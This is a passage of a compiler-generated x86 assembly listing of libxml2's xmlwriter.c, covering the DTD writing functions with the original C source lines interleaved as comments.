; 3412 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 3413 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3414 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 3415 : return -1;
; 3416 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 3417 : }
; 3418 : p->state = XML_TEXTWRITER_DTD_TEXT;
mov DWORD PTR [ebx+4], 8
$LN12@xmlTextWri:
; 3419 : /* fallthrough */
; 3420 : case XML_TEXTWRITER_DTD_TEXT:
; 3421 : case XML_TEXTWRITER_NONE:
; 3422 : break;
; 3423 : default:
; 3424 : return -1;
; 3425 : }
; 3426 : }
; 3427 :
; 3428 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 3429 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 3430 : if (p == 0) {
test ebx, ebx
jne SHORT $LN14@xmlTextWri
; 3431 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 3462 :
; 3463 : return sum;
; 3464 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN14@xmlTextWri:
; 3432 : "xmlTextWriterStartDTDAttlist : out of memory!\n");
; 3433 : return -1;
; 3434 : }
; 3435 :
; 3436 : p->name = xmlStrdup(name);
push DWORD PTR _name$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [ebx], eax
; 3437 : if (p->name == 0) {
test eax, eax
jne SHORT $LN15@xmlTextWri
; 3438 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
; 3439 : "xmlTextWriterStartDTDAttlist : out of memory!\n");
; 3440 : xmlFree(p);
push ebx
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3462 :
; 3463 : return sum;
; 3464 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN15@xmlTextWri:
; 3441 : return -1;
; 3442 : }
; 3443 : p->state = XML_TEXTWRITER_DTD_ATTL;
mov DWORD PTR [ebx+4], 11 ; 0000000bH
; 3444 :
; 3445 : xmlListPushFront(writer->nodes, p);
push ebx
push DWORD PTR [esi+4]
call _xmlListPushFront
add esp, 8
; 3446 :
; 3447 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN16@xmlTextWri
; 3448 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 3449 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3450 : return -1;
; 3451 : sum += count;
add edi, eax
$LN16@xmlTextWri:
; 3452 : }
; 3453 :
; 3454 : count = xmlOutputBufferWriteString(writer->out, "<!ATTLIST ");
push OFFSET ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3455 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3456 : return -1;
; 3457 : sum += count;
; 3458 : count = xmlOutputBufferWriteString(writer->out, (const char *) name);
push DWORD PTR _name$[ebp]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3459 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3460 : return -1;
; 3461 : sum += count;
add eax, edi
pop edi
; 3462 :
; 3463 : return sum;
; 3464 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterStartDTDAttlist ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_content$ = 16 ; size = 4
_xmlTextWriterWriteDTDElement PROC ; COMDAT
; 3352 : {
push ebp
mov ebp, esp
push ebx
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN7@xmlTextWri
; 3353 : int count;
; 3354 : int sum;
; 3355 :
; 3356 : if (content == NULL)
; 3357 : return -1;
; 3358 :
; 3359 : sum = 0;
; 3360 : count = xmlTextWriterStartDTDElement(writer, name);
push DWORD PTR _name$[ebp]
mov ebx, DWORD PTR _writer$[ebp]
push ebx
call _xmlTextWriterStartDTDElement
mov esi, eax
add esp, 8
; 3361 : if (count == -1)
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 3362 : return -1;
; 3363 : sum += count;
; 3364 :
; 3365 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push ebx
call _xmlTextWriterWriteString
add esp, 8
; 3366 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3367 : return -1;
; 3368 : sum += count;
; 3369 :
; 3370 : count = xmlTextWriterEndDTDElement(writer);
push ebx
add esi, eax
call _xmlTextWriterEndDTDElement
add esp, 4
; 3371 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3373 : sum += count;
add eax, esi
pop esi
; 3374 :
; 3375 : return sum;
; 3376 : }
pop ebx
pop ebp
ret 0
$LN7@xmlTextWri:
pop esi
; 3372 : return -1;
or eax, -1
; 3374 :
; 3375 : return sum;
; 3376 : }
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteDTDElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatDTDElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_argptr$ = 20 ; size = 4
_xmlTextWriterWriteVFormatDTDElement PROC ; COMDAT
; 3322 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3323 : int rc;
; 3324 : xmlChar *buf;
; 3325 :
; 3326 : if (writer == NULL)
; 3327 : return -1;
; 3328 :
; 3329 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3330 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 3332 :
; 3333 : rc = xmlTextWriterWriteDTDElement(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTDElement
; 3334 :
; 3335 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3336 : return rc;
mov eax, esi
pop edi
; 3337 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 3331 : return -1;
or eax, -1
; 3337 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatDTDElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatDTDElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlTextWriterWriteFormatDTDElement PROC ; COMDAT
; 3295 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 3326 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 3296 : int rc;
; 3297 : va_list ap;
; 3298 :
; 3299 : va_start(ap, format);
; 3300 :
; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap);
; 3302 :
; 3303 : va_end(ap);
; 3304 : return rc;
or eax, -1
pop esi
; 3305 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 3329 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3330 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 3296 : int rc;
; 3297 : va_list ap;
; 3298 :
; 3299 : va_start(ap, format);
; 3300 :
; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap);
; 3302 :
; 3303 : va_end(ap);
; 3304 : return rc;
pop edi
or eax, -1
pop esi
; 3305 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 3333 : rc = xmlTextWriterWriteDTDElement(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTDElement
; 3334 :
; 3335 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3296 : int rc;
; 3297 : va_list ap;
; 3298 :
; 3299 : va_start(ap, format);
; 3300 :
; 3301 : rc = xmlTextWriterWriteVFormatDTDElement(writer, name, format, ap);
; 3302 :
; 3303 : va_end(ap);
; 3304 : return rc;
mov eax, esi
pop edi
pop esi
; 3305 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatDTDElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndDTDElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndDTDElement PROC ; COMDAT
; 3239 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN9@xmlTextWri
; 3240 : int count;
; 3241 : int sum;
; 3242 : xmlLinkPtr lk;
; 3243 : xmlTextWriterStackEntry *p;
; 3244 :
; 3245 : if (writer == NULL)
; 3246 : return -1;
; 3247 :
; 3248 : sum = 0;
; 3249 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 3250 : if (lk == 0)
test eax, eax
je SHORT $LN9@xmlTextWri
; 3251 : return -1;
; 3252 :
; 3253 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 3254 : if (p == 0)
test eax, eax
je SHORT $LN9@xmlTextWri
; 3255 : return -1;
; 3256 :
; 3257 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
add eax, -9 ; fffffff7H
cmp eax, 1
ja SHORT $LN9@xmlTextWri
; 3258 : case XML_TEXTWRITER_DTD_ELEM:
; 3259 : case XML_TEXTWRITER_DTD_ELEM_TEXT:
; 3260 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 3261 : if (count < 0)
test edi, edi
js SHORT $LN9@xmlTextWri
; 3267 : }
; 3268 :
; 3269 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 3270 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3271 : if (count < 0)
test eax, eax
js SHORT $LN9@xmlTextWri
; 3272 : return -1;
; 3273 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 3274 : }
; 3275 :
; 3276 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 3277 : return sum;
mov eax, edi
pop edi
; 3278 : }
pop esi
pop ebp
ret 0
$LN9@xmlTextWri:
pop edi
; 3262 : return -1;
; 3263 : sum += count;
; 3264 : break;
; 3265 : default:
; 3266 : return -1;
or eax, -1
; 3278 : }
pop esi
pop ebp
ret 0
_xmlTextWriterEndDTDElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDTDElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_xmlTextWriterStartDTDElement PROC ; COMDAT
; 3152 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3153 : int count;
; 3154 : int sum;
; 3155 : xmlLinkPtr lk;
; 3156 : xmlTextWriterStackEntry *p;
; 3157 :
; 3158 : if (writer == NULL || name == NULL || *name == '\0')
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN5@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN5@xmlTextWri
; 3159 : return -1;
; 3160 :
; 3161 : sum = 0;
; 3162 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
xor edi, edi
call _xmlListFront
add esp, 4
; 3163 : if (lk == 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 3164 : return -1;
; 3165 : }
; 3166 :
; 3167 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 3168 : if (p != 0) {
test ebx, ebx
je SHORT $LN12@xmlTextWri
; 3169 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
sub eax, edi
je SHORT $LN12@xmlTextWri
sub eax, 7
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN12@xmlTextWri
$LN5@xmlTextWri:
pop edi
; 3225 :
; 3226 : return sum;
; 3227 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN8@xmlTextWri:
; 3170 : case XML_TEXTWRITER_DTD:
; 3171 : count = xmlOutputBufferWriteString(writer->out, " [");
push OFFSET ??_C@_02GBLMOEJC@?5?$FL@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 3172 : if (count < 0)
test edi, edi
js SHORT $LN5@xmlTextWri
; 3173 : return -1;
; 3174 : sum += count;
; 3175 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN10@xmlTextWri
; 3176 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3177 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 3178 : return -1;
; 3179 : sum += count;
add edi, eax
$LN10@xmlTextWri:
; 3180 : }
; 3181 : p->state = XML_TEXTWRITER_DTD_TEXT;
mov DWORD PTR [ebx+4], 8
$LN12@xmlTextWri:
; 3182 : /* fallthrough */
; 3183 : case XML_TEXTWRITER_DTD_TEXT:
; 3184 : case XML_TEXTWRITER_NONE:
; 3185 : break;
; 3186 : default:
; 3187 : return -1;
; 3188 : }
; 3189 : }
; 3190 :
; 3191 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
; 3192 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 3193 : if (p == 0) {
test ebx, ebx
jne SHORT $LN14@xmlTextWri
; 3194 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 3225 :
; 3226 : return sum;
; 3227 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN14@xmlTextWri:
; 3195 : "xmlTextWriterStartDTDElement : out of memory!\n");
; 3196 : return -1;
; 3197 : }
; 3198 :
; 3199 : p->name = xmlStrdup(name);
push DWORD PTR _name$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [ebx], eax
; 3200 : if (p->name == 0) {
test eax, eax
jne SHORT $LN15@xmlTextWri
; 3201 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@
push 2
push esi
call _xmlWriterErrMsg
; 3202 : "xmlTextWriterStartDTDElement : out of memory!\n");
; 3203 : xmlFree(p);
push ebx
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 3225 :
; 3226 : return sum;
; 3227 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN15@xmlTextWri:
; 3204 : return -1;
; 3205 : }
; 3206 : p->state = XML_TEXTWRITER_DTD_ELEM;
mov DWORD PTR [ebx+4], 9
; 3207 :
; 3208 : xmlListPushFront(writer->nodes, p);
push ebx
push DWORD PTR [esi+4]
call _xmlListPushFront
add esp, 8
; 3209 :
; 3210 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN16@xmlTextWri
; 3211 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 3212 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3213 : return -1;
; 3214 : sum += count;
add edi, eax
$LN16@xmlTextWri:
; 3215 : }
; 3216 :
; 3217 : count = xmlOutputBufferWriteString(writer->out, "<!ELEMENT ");
push OFFSET ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3218 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3219 : return -1;
; 3220 : sum += count;
; 3221 : count = xmlOutputBufferWriteString(writer->out, (const char *) name);
push DWORD PTR _name$[ebp]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 3222 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 3223 : return -1;
; 3224 : sum += count;
add eax, edi
pop edi
; 3225 :
; 3226 : return sum;
; 3227 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterStartDTDElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTD
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_pubid$ = 16 ; size = 4
_sysid$ = 20 ; size = 4
_subset$ = 24 ; size = 4
_xmlTextWriterWriteDTD PROC ; COMDAT
; 3118 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _sysid$[ebp]
mov edi, DWORD PTR _writer$[ebp]
push DWORD PTR _pubid$[ebp]
push DWORD PTR _name$[ebp]
push edi
call _xmlTextWriterStartDTD
mov esi, eax
add esp, 16 ; 00000010H
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 3119 : int count;
; 3120 : int sum;
; 3121 :
; 3122 : sum = 0;
; 3123 : count = xmlTextWriterStartDTD(writer, name, pubid, sysid);
; 3124 : if (count == -1)
; 3125 : return -1;
; 3126 : sum += count;
; 3127 : if (subset != 0) {
mov eax, DWORD PTR _subset$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 3128 : count = xmlTextWriterWriteString(writer, subset);
push eax
push edi
call _xmlTextWriterWriteString
add esp, 8
; 3129 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3130 : return -1;
; 3131 : sum += count;
add esi, eax
$LN3@xmlTextWri:
; 3132 : }
; 3133 : count = xmlTextWriterEndDTD(writer);
push edi
call _xmlTextWriterEndDTD
add esp, 4
; 3134 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 3136 : sum += count;
pop edi
add eax, esi
; 3137 :
; 3138 : return sum;
; 3139 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
pop edi
; 3135 : return -1;
or eax, -1
; 3137 :
; 3138 : return sum;
; 3139 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteDTD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatDTD
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_pubid$ = 16 ; size = 4
_sysid$ = 20 ; size = 4
_format$ = 24 ; size = 4
_argptr$ = 28 ; size = 4
_xmlTextWriterWriteVFormatDTD PROC ; COMDAT
; 3084 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 3085 : int rc;
; 3086 : xmlChar *buf;
; 3087 :
; 3088 : if (writer == NULL)
; 3089 : return -1;
; 3090 :
; 3091 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3092 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 3094 :
; 3095 : rc = xmlTextWriterWriteDTD(writer, name, pubid, sysid, buf);
push edi
push DWORD PTR _sysid$[ebp]
push DWORD PTR _pubid$[ebp]
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTD
; 3096 :
; 3097 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 3098 : return rc;
mov eax, esi
pop edi
; 3099 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 3093 : return -1;
or eax, -1
; 3099 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatDTD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatDTD
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_pubid$ = 16 ; size = 4
_sysid$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlTextWriterWriteFormatDTD PROC ; COMDAT
; 3052 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 3088 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 3053 : int rc;
; 3054 : va_list ap;
; 3055 :
; 3056 : va_start(ap, format);
; 3057 :
; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format,
; 3059 : ap);
; 3060 :
; 3061 : va_end(ap);
; 3062 : return rc;
or eax, -1
pop esi
; 3063 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 3091 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 3092 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 3053 : int rc;
; 3054 : va_list ap;
; 3055 :
; 3056 : va_start(ap, format);
; 3057 :
; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format,
; 3059 : ap);
; 3060 :
; 3061 : va_end(ap);
; 3062 : return rc;
pop edi
or eax, -1
pop esi
; 3063 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 3095 : rc = xmlTextWriterWriteDTD(writer, name, pubid, sysid, buf);
push edi
push DWORD PTR _sysid$[ebp]
push DWORD PTR _pubid$[ebp]
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteDTD
; 3096 :
; 3097 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 3053 : int rc;
; 3054 : va_list ap;
; 3055 :
; 3056 : va_start(ap, format);
; 3057 :
; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format,
; 3059 : ap);
; 3060 :
; 3061 : va_end(ap);
; 3062 : return rc;
mov eax, esi
pop edi
pop esi
; 3063 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatDTD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndDTD
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndDTD PROC ; COMDAT
; 2967 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN27@xmlTextWri
; 2968 : int loop;
; 2969 : int count;
; 2970 : int sum;
; 2971 : xmlLinkPtr lk;
; 2972 : xmlTextWriterStackEntry *p;
; 2973 :
; 2974 : if (writer == NULL)
; 2975 : return -1;
; 2976 :
; 2977 : sum = 0;
xor ebx, ebx
npad 3
$LL2@xmlTextWri:
; 2978 : loop = 1;
; 2979 : while (loop) {
; 2980 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 2981 : if (lk == NULL)
test eax, eax
je $LN3@xmlTextWri
; 2982 : break;
; 2983 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 2984 : if (p == 0)
test eax, eax
je $LN3@xmlTextWri
; 2985 : break;
; 2986 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
add eax, -7 ; fffffff9H
cmp eax, 9
ja $LN3@xmlTextWri
jmp DWORD PTR $LN35@xmlTextWri[eax*4]
$LN9@xmlTextWri:
; 2987 : case XML_TEXTWRITER_DTD_TEXT:
; 2988 : count = xmlOutputBufferWriteString(writer->out, "]");
push OFFSET ??_C@_01LBDDMOBJ@?$FN@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2989 : if (count < 0)
test eax, eax
js SHORT $LN27@xmlTextWri
; 2990 : return -1;
; 2991 : sum += count;
add ebx, eax
$LN11@xmlTextWri:
; 2992 : /* fallthrough */
; 2993 : case XML_TEXTWRITER_DTD:
; 2994 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
mov edi, eax
; 2995 :
; 2996 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN12@xmlTextWri
; 2997 : if (count < 0)
test edi, edi
js SHORT $LN27@xmlTextWri
; 2998 : return -1;
; 2999 : sum += count;
; 3000 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
add ebx, edi
call _xmlOutputBufferWriteString
add esp, 8
mov edi, eax
$LN12@xmlTextWri:
; 3001 : }
; 3002 :
; 3003 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
; 3004 : break;
jmp SHORT $LN32@xmlTextWri
$LN14@xmlTextWri:
; 3005 : case XML_TEXTWRITER_DTD_ELEM:
; 3006 : case XML_TEXTWRITER_DTD_ELEM_TEXT:
; 3007 : count = xmlTextWriterEndDTDElement(writer);
push esi
call _xmlTextWriterEndDTDElement
; 3008 : break;
jmp SHORT $LN33@xmlTextWri
$LN15@xmlTextWri:
; 3009 : case XML_TEXTWRITER_DTD_ATTL:
; 3010 : case XML_TEXTWRITER_DTD_ATTL_TEXT:
; 3011 : count = xmlTextWriterEndDTDAttlist(writer);
push esi
call _xmlTextWriterEndDTDAttlist
; 3012 : break;
jmp SHORT $LN33@xmlTextWri
$LN16@xmlTextWri:
; 3013 : case XML_TEXTWRITER_DTD_ENTY:
; 3014 : case XML_TEXTWRITER_DTD_PENT:
; 3015 : case XML_TEXTWRITER_DTD_ENTY_TEXT:
; 3016 : count = xmlTextWriterEndDTDEntity(writer);
push esi
call _xmlTextWriterEndDTDEntity
; 3017 : break;
jmp SHORT $LN33@xmlTextWri
$LN17@xmlTextWri:
; 3018 : case XML_TEXTWRITER_COMMENT:
; 3019 : count = xmlTextWriterEndComment(writer);
push esi
call _xmlTextWriterEndComment
$LN33@xmlTextWri:
; 3020 : break;
; 3021 : default:
; 3022 : loop = 0;
; 3023 : continue;
; 3024 : }
; 3025 :
; 3026 : if (count < 0)
mov edi, eax
$LN32@xmlTextWri:
add esp, 4
test edi, edi
js SHORT $LN27@xmlTextWri
; 3027 : return -1;
; 3028 : sum += count;
add ebx, edi
jmp $LL2@xmlTextWri
$LN3@xmlTextWri:
pop edi
; 3029 : }
; 3030 :
; 3031 : return sum;
; 3032 : }
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0
